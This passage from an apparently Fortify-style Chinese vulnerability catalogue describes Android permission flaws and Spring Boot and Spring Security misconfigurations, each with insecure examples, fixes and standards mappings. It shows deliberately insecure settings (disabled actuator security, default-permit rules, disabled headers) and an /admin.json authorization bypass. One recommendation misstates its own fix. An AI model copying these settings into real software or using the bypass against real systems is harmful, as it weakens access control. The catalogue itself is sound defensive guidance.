[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[16] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[21] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Missing Content Provider Permission
ABSTRACT
程序试图在不请求所需权限的情况下执行操作。
EXPLANATION
某些 Android 操作需要相应的权限。必须由应用程序在安装时请求权限,方法是通过<uses-permission/>
标签在 AndroidManifest.xml 文件中将其列出。如果未请求所需的权限,需要这些权限的操作在运行时就会失败。在某些情况下,java.lang.SecurityException 会被抛回到应用程序。在其他情况下,操作会在不提示且未抛出任何异常的情况下失败。
例 1:下面的代码可读取设备中存储的联系人信息。
1 | Cursor cursor = getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); |
读取来自该内容提供者的数据需要 android.permission.READ_CONTACTS 权限。如果清单文件中的应用程序未请求此权限,应用程序就无法读取联系人信息。
RECOMMENDATIONS
确保应用程序需要受保护操作提供的功能。如果需要,则应包含请求 AndroidManifest.xml 文件中相应权限所需的 <uses-permission/>
标签。不过,除了请求应用程序真正需要的权限之外,切忌因为请求更多权限而导致对应用程序过度授权。这会导致在设备上安装的其他恶意应用程序利用这种过度授权的应用程序对用户体验及存储的数据造成负面影响。另外,设置过多的权限可能会适得其反,导致客户不愿意安装您的应用程序。
例 2:下面摘录的 Android 清单会请求读取设备中存储的联系人信息所需的权限。
1 | <uses-permission android:name="android.permission.READ_CONTACTS"/> |
REFERENCES
[1] Using Permissions
[2] A. P. Felt, E. Chin, S. Hanna, D. Song, and D. Wagner Android Permissions Demystified
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 362
[5] Standards Mapping - FIPS200 AC
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[17] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Missing Intent Permission
ABSTRACT
程序试图在不请求所需权限的情况下执行操作。
EXPLANATION
某些 Android 操作需要相应的权限。必须由应用程序在安装时请求权限,方法是通过 <uses-permission/>
标签在 AndroidManifest.xml 文件中将其列出。如果未请求所需的权限,需要这些权限的操作在运行时就会失败。在某些情况下,java.lang.SecurityException 会被抛回到应用程序。在其他情况下,操作会在不提示且未抛出任何异常的情况下失败。
例 1:下面的 AndroidManifest.xml 文件指定了一个拥有意图过滤器的接收者,该意图过滤器针对的是包含 android.intent.action.PHONE_STATE 操作的意图。
1 | <receiver android:name=".ReceiverTest" android:permission="test.permission" android:exported="true"> |
接收该意图需要 android.permission.READ_PHONE_STATE 权限。如果清单文件中的应用程序未请求此权限,应用程序就无法接收该意图。
RECOMMENDATIONS
确保应用程序需要受保护操作提供的功能。如果需要,则应包含请求 AndroidManifest.xml 文件中相应权限所需的 <uses-permission/>
标签。不过,除了请求应用程序真正需要的权限之外,切忌因为请求更多权限而导致对应用程序过度授权。这会导致在设备上安装的其他恶意应用程序利用这种过度授权的应用程序对用户体验及存储的数据造成负面影响。另外,设置过多的权限可能会适得其反,导致客户不愿意安装您的应用程序。
例 2:下面摘录的 Android 清单会请求接收包含 android.intent.action.PHONE_STATE 操作的意图所需的权限。
1 | <uses-permission android:name="android.permission.READ_PHONE_STATE"/> |
REFERENCES
[1] Using Permissions
[2] A. P. Felt, E. Chin, S. Hanna, D. Song, and D. Wagner Android Permissions Demystified
[3] Standards Mapping - Common Weakness Enumeration CWE ID 265
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[16] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Overly Broad Access Specifier
ABSTRACT
可从 JVM 中的其他位置调用 public 方法中的特权代码。
EXPLANATION
安全编码原则要求尽可能地提高访问说明符的限制性。如果方法带有 public 访问说明符,则表示任意外部代码都可以调用该方法。如果在代码可动态进入系统(例如 Code Injection、Dangerous File Inclusion、File Upload 等)的库或环境中共享代码,则用于执行特权操作的公共方法可能非常危险。
例 1:在下列代码中,doPrivilegedOpenFile() 声明为 public,并且执行了一个权限操作。
1 | public static void doPrivilegedOpenFile(final String filePath) { |
RECOMMENDATIONS
将包含特权代码的类和方法的属性改为 private。通过将对特权代码块的访问限制到最低,可以更轻松地确定和了解如何在基本代码中使用特权代码。除了将这些方法的属性更改为 private 外,请确保用于调用这些方法的成员方法能够很好地保护其使用:验证输入、检查凭证,以及确保不会在可使用非特权调用的位置使用特权调用。
例 2:在下列代码中,doPrivilegedOpenFile() 声明为 private。
1 | private static void doPrivilegedOpenFile(final String filePath) { |
REFERENCES
[1] Secure Coding Guidelines for the Java Programming Language, version 2.0 Sun Microsystems, Inc.
[2] M. S. Ware Writing secure Java code: taxonomy of heuristics and an evaluation of static analysis tools
[3] FUNDAMENTALS-3: Restrict privileges Oracle
[4] ACCESS-3: Safely invoke java.security.AccessController.doPrivileged Oracle
[5] Standards Mapping - Common Weakness Enumeration CWE ID 265
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7, Requirement 7.2
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Overriding Permission Verification
ABSTRACT
有些功能可能会使程序员能够覆盖用户在特定时间对 Android 设备指定的权限。
EXPLANATION
有些功能可能会使程序员能够指定是否允许权限的明确值。之后这可以被滥用,侵犯用户想要的资源,并仍然假定授予了权限。
例 1:以下代码要求在使用 WebView 的同时在 Android 上使用用户位置的权限,但是无论是否授予了这样做的权限都使用了用户位置。通过使用 true 手动调用回调来指定被授予的权限,可以实现此目的:
1 | public void onGeolocationPermissionsShowPrompt(String origin, GeolocationPermissions$Callback callback){ |
RECOMMENDATIONS
用户的答案是不应受到侵害,并且默认设置应该是不使用该权限,除非用户明确地希望使用它。有可能是此时用户不希望别人知道其位置的敏感原因。
例 2:以下代码没有明确覆盖用户已经指定的设置,而是使用了答案。
1 | public void onGeolocationPermissionsShowPrompt(String origin, GeolocationPermissions$Callback callback) { |
REFERENCES
[1] DRD15-J. Consider privacy concerns when using Geolocation API CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 265
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[15] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[16] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Privilege Management: Unnecessary Permission
ABSTRACT
应用程序若不能遵守最低权限原则,便会大大增加引发其他漏洞的风险。
EXPLANATION
应用程序应仅拥有正常执行所需的最小权限。权限过多会导致用户不愿意安装该应用程序。此权限对于该程序可能是不必要的。
RECOMMENDATIONS
考虑应用程序是否需要请求的权限来保证正常运行。如果不需要,则应将相应的权限从 AndroidManifest.xml 文件中删除。除了请求应用程序真正需要的权限之外,切忌因请求更多权限而导致对应用程序过度授权。这会导致在设备上安装的其他恶意应用程序利用这种过度授权的应用程序对用户体验及存储的数据造成负面影响。另外,设置过多的权限可能会适得其反,导致客户不愿意安装您的应用程序。
REFERENCES
[1] Using Permissions
[2] A. P. Felt, E. Chin, S. Hanna, D. Song, and D. Wagner Android Permissions Demystified
[3] Standards Mapping - Common Weakness Enumeration CWE ID 265
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[16] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Spring Boot Misconfiguration: Actuator Endpoint Security Disabled
ABSTRACT
Spring Boot 应用程序使用 Actuator 端点,不要求身份验证。
EXPLANATION
用户可以配置 Spring Boot 应用程序来部署 Actuator,这些 Actuator 是允许用户监控应用程序的不同方面的 REST 端点。多个不同的内置 Actuator 都可能会泄露敏感数据并被贴上“敏感”标签。默认情况下,所有敏感 HTTP 端点都受保护,以致于只有拥有 ACTUATOR 角色的用户才能访问它们。
此应用程序禁用敏感端点的身份验证要求:
示例 1:
1 | management.security.enabled=false |
或者将敏感端点变为非敏感端点:
示例 2:
1 | endpoints.health.sensitive=false |
或者将自定义 Actuator 设置为非敏感 Actuator:
1 | @Component |
RECOMMENDATIONS
所有暴露敏感信息或运算的端点都应使用适当级别的身份验证和授权进行保护。要求身份验证始终是一个不错的做法,即便对用作深度安全机制的内部服务器也可这么做。我们要考虑到,即使在内部在防火墙背后部署应用程序的情况下,攻击者依然能够使用单个应用程序中的服务器端请求伪造漏洞访问它。
REFERENCES
[1] Spring Boot Reference Guide Spring
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[3] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[4] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[5] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Spring Boot Misconfiguration: Admin MBean Enabled
ABSTRACT
将 Spring Boot 应用程序配置为暴露管理 MBean。
EXPLANATION
Spring Boot 允许通过指定 spring.application.admin.enabled 属性来为应用程序启用管理相关功能。这将暴露SpringApplicationAdminMXBean(在平台 MBeanServer 上)。开发人员可以使用此功能远程管理 Spring Boot 应用程序。此功能以远程 JMX 端点形式暴露了另一个攻击面。根据 MBeanServer 的配置,MBean 可在本地或远程暴露,也可需要或不需要身份验证。最糟糕的情况是,攻击者将能够远程管理应用程序,包括关闭应用程序,而不需要任何身份验证。最理想的情况是,服务像用于保护服务器的凭证一样强。
注:如果使用易受 CVE-2016-3427 攻击的 JRE 版本(在 2016 年 4 月发布的 Java 8 Update 91 中已解决),攻击者将能够将任何序列化 Java 对象作为凭证传递,并且可以让远程 JVM 对其进行反序列化,这可能会导致任意代码执行问题。
RECOMMENDATIONS
如果没有强烈要求,请禁用它:
1 | spring.application.admin.enabled=false |
如果需要管理服务:
请确保使用安全的 JRE 版本。
请确保将 MBean 服务器配置为需要身份验证。
使用强凭证。
如果可以,请不要远程暴露 MBean。
SCA 无权访问 JVM 的运行时配置,因此无权访问抑制此发现所需的证据。请在确保安全配置 JVM 后手动丢弃它。
REFERENCES
[1] Spring Boot Reference Guide Spring
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[3] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[4] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[5] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Spring Boot Misconfiguration: DevTools Enabled
ABSTRACT
在开发人员模式下配置 Spring Boot 应用程序。
EXPLANATION
Spring Boot 应用程序已启用 DevTool。DevTool 包括一套附加工具,可以让应用程序开发体验更加愉悦,但不建议在生产应用程序上使用。正如官方 Spring Boot 文档所述:“在远程应用程序上启用 spring-boot-devtools 存在安全风险。您绝不应该在生产部署中启用支持。”
RECOMMENDATIONS
删除生产部署上的 spring-boot-devtoos 依赖关系。
REFERENCES
[1] Spring Boot Reference Guide Spring
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[3] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[4] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[5] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Spring Boot Misconfiguration: Shutdown Actuator Endpoint Enabled
ABSTRACT
启用 Spring Boot Shutdown Actuator,允许用户关闭应用程序。
EXPLANATION
Shutdown Actuator 允许经过身份验证的用户关闭应用程序。尽管它在默认情况下被配置为敏感端点,并因此需要身份验证才能使用此端点,但是在没有充分理由的情况下启用它并不是一种好的做法,因为凭证可能比较弱,或者应用程序配置会改变,将 Actuator 标记为非敏感。
示例 1:Spring Boot 应用程序配置为部署 Shutdown Actuator:
1 | endpoints.shutdown.enabled=true |
RECOMMENDATIONS
如果没有强烈需求,请勿禁用 Shutdown Actuator。
示例 2:Spring Boot 应用程序配置为显式禁用 Shutdown Actuator:
1 | endpoints.shutdown.enabled=false |
REFERENCES
[1] Spring Boot Reference Guide Spring
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[3] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[4] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[5] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Spring Security Misconfiguration: Default Permit
ABSTRACT
Spring Security 已配置为允许之前未与安全表达式匹配的请求。
EXPLANATION
Spring Security 配置了过分宽松的 Catch-All 策略,因而未与安全表达式匹配的请求也被允许访问。
示例 1:以下代码定义了 Spring Security 配置,该配置默认为允许任何不匹配的请求:
1 | <http auto-config="true"> |
即便目前其为安全的配置,未来也将有新的私人端点添加至应用程序。若开发人员忘记更新安全策略,默认的 Catch-All 规则将允许公共访问新私人端点。
RECOMMENDATIONS
安全最佳实践是默认情况下,所有端点都需要身份验证。指定哪些公共端点应拥有匿名访问权限,并禁止不在列表中的端点访问。
示例 2:以下代码定义了 Spring Security 配置,该配置默认为拒绝对之前不匹配请求的访问:
1 | <http auto-config="true"> |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-001084, CCI-002165
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - General Data Protection Regulation Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements, 1.4.4 Access Control Architectural Requirements
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[9] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[10] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[21] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 676
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[39] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Spring Security Misconfiguration: Disabled Security Headers
ABSTRACT
Spring Security 默认安全标头已禁用。
EXPLANATION
Spring Security 设置了默认安全标头以协助保护应用程序。Spring Security 注入的默认安全标头为:
1 | Cache-Control: no-cache, no-store, max-age=0, must-revalidate |
这些是可以保护应用程序的合理标头。将这些标头替换为限制等级更高的值之前,切勿将其禁用。
示例:以下代码禁用了 Spring Security 默认标头:
1 | <http auto-config="true"> |
RECOMMENDATIONS
若非出于充分的商业理由或用限制等级更高的值加以替换前,切勿禁用默认值。
REFERENCES
[1] Standards Mapping - FIPS200 CM
[2] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-6 Configuration Settings (P2)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[6] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[7] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Web Application Security Consortium Version 2.00 Server Misconfiguration (WASC-14)
Spring Security Misconfiguration: Incorrect Request Matcher Type
ABSTRACT
Spring Security 使用错误的请求匹配程序来保护路径。
EXPLANATION
Spring Security 借助 Ant 路径表达式来指定保护端点的方式。
示例 1:在下列示例中,与 “/admin” Ant 路径表达式匹配的任何端点都需要管理员权限才可访问:
1 | <http auto-config="true"> |
然而,若受保护的端点是 Spring MVC 端点,攻击者可以通过滥用 Spring MVC 内容协商功能来绕过这个控制。Spring MVC 用户可使用 Accept 标头来指定资源服务的方式,也可以指定使用了扩展名的特定内容类型。例如,您可以通过将请求发送到 /admin.json 来请求将 /admin 资源作为 JSON 文档。
Ant 路径表达式并不列入内容协商扩展名。因此,请求与 /admin 表达式不匹配且端点不受保护。
RECOMMENDATIONS
为了保护 Spring MVC 端点,可使用 MVC 请求匹配程序,而不是 Ant 匹配程序。
示例 2:以下代码恰当地使用了 mvcMatchers() 来保护 Spring MVC 端点:
<http auto-config="true" request-matcher="mvc">
...
<intercept-url pattern="/app/admin" access="ROLE_ADMIN" />
...
<intercept-url pattern="/**" access="permitAll" />
</http>
注意: Ant 路径表达式(例如,/admin**)也与内容协商扩展名匹配,但最好使用 MVC 请求匹配程序,原因在于相同的匹配程序已用于路由请求。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 284
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-001084, CCI-002165
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - General Data Protection Regulation Access Violation
